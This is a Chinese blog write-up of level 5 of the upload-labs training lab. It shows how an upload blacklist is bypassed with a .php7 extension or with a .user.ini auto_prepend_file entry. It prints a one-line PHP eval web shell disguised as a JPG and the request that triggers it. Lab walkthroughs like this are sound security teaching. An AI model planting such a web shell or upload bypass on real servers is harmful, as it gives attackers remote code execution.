UPLOAD-LABS靶机 第五关 .user.ini 上传校验 – 作者:知非知非知非

1626654306_60f4c662e72ef4894f651.png!small

1626654311_60f4c667edc4e96d1ea95.png!small

URL地址为:http://localhost/upload-labs/upload/5.jpg

上传5.php 探针时!提示:此文件类型不允许上传!!!

1626654320_60f4c6708c59a7e4f92a4.png!small

这里我们把5.php改成5.PHP,试一下!!还是不行!

我摊牌了,我看别人说这题是大小写绕过!!!

1626654327_60f4c677c5de9bbecf1a2.png!small

看下提示:

1626654334_60f4c67e8e7f5790bf6ca.png!small

我们这里查看一下这个文件有什么内容?这里要注意,是上传目录存在readme.php文件,不是Pass-05文件夹有这个文件!!!

http://localhost/upload-labs/upload/readme.php

回显结果是乱码!!!

1626654343_60f4c6870e08be7a1fb52.png!small

修改完之后,是这样!

感觉被出题人给骗了!!!

1626654352_60f4c690b2667cf21554e.png!small

后边你还发现!小丑竟是我自己!!!

1626654358_60f4c6968660430ab23a4.png!small

我们查看一下源码吧!!

很多后缀都被过滤了,就连上题中的.htaccess都被过滤了!!

1626654367_60f4c69f3b548400b5676.png!small

1626654375_60f4c6a7169d5f335d4bd.png!small

  • 删除文件名末尾的点!

PHP strrchr() 函数:

strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。

  • 获取文件后缀名!!!

1626654383_60f4c6af930a43ea6bba1.png!small

  • 转换为小写!

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

把字符串 “Hello world!” 中的字符 “WORLD”(不区分大小写)替换成 “Shanghai”:

<?php echo str_ireplace(“WORLD”,”Shanghai”,”Hello world!”); ?>

  • 把后缀名中的::$DATA修改为空!
  • 把后缀名的首尾去空!!!!

1626654390_60f4c6b6d27ddc89bebe8.png!small

从大佬的WP中可以看到:没有被限制的文件名有 .php7 以及 .ini!!!

小知识:

php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。但是想要引发 .user.ini 解析漏洞需要三个前提条件!!!

服务器脚本语言为PHP                                  满足服务器使用CGI/FastCGI模式                     满足上传目录下要有可执行的php文件                 满足(readme.php)

绕过方法1:

PHP7绕过!!!

1626654398_60f4c6bece6f44866f5da.png!small

http://localhost/upload-labs/upload/5.PHP7

这里其实就读不出来!!!

因为APACHE的配置文件,需要修改!!!

修改httpd.conf:

1626654407_60f4c6c77e1095aba0384.png!small

完事后,重启所有服务!!!!接着上传,访问,查看回显!!

http://localhost/upload-labs/upload/5.php7

1626654419_60f4c6d37a61b1f17f236.png!small

本人感觉这种方法,非常鸡肋!!!

绕过方法2:也就是本题的提示信息对应的部分!!!

首先上传.user.ini文件,文件内容为:

auto_prepend_file=5.jpg

1626654442_60f4c6ea86142aa5c6d9b.png!small

http://localhost/upload-labs/upload/.user.ini

5.jpg内容为

<?php @eval($_REQUEST[zhifei]);?>

1626654464_60f4c700244bcccbf062b.png!small

http://localhost/upload-labs/upload/5.jpg

然后等待五分钟,访问相关链接!!!

如果等不了五分钟,

1.可以直接重启phpstudy,让上传的.user.ini立即生效。

2.或者 可以修改php.ini,将user_ini.cache_ttl修改为10秒,修改后保存php.ini文件并重启phpstudy,之后再进行上面的操作即可。

http://localhost/upload-labs/upload/readme.php?zhifei=phpinfo();

我当前的环境是 PHP 加 APACHE,无法显示PHP探针

我通过PHPMYSTUDY将环境修改为PHP 5.3加NGINX

访问以上链接就可以正常显示探针!!!

还没找到方法

感谢大佬:

https://www.jianshu.com/p/55a50c4bf576

https://www.cnblogs.com/caizhiren/p/7912286.html

来源:freebuf.com 2021-07-19 08:28:51 by: 知非知非知非

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论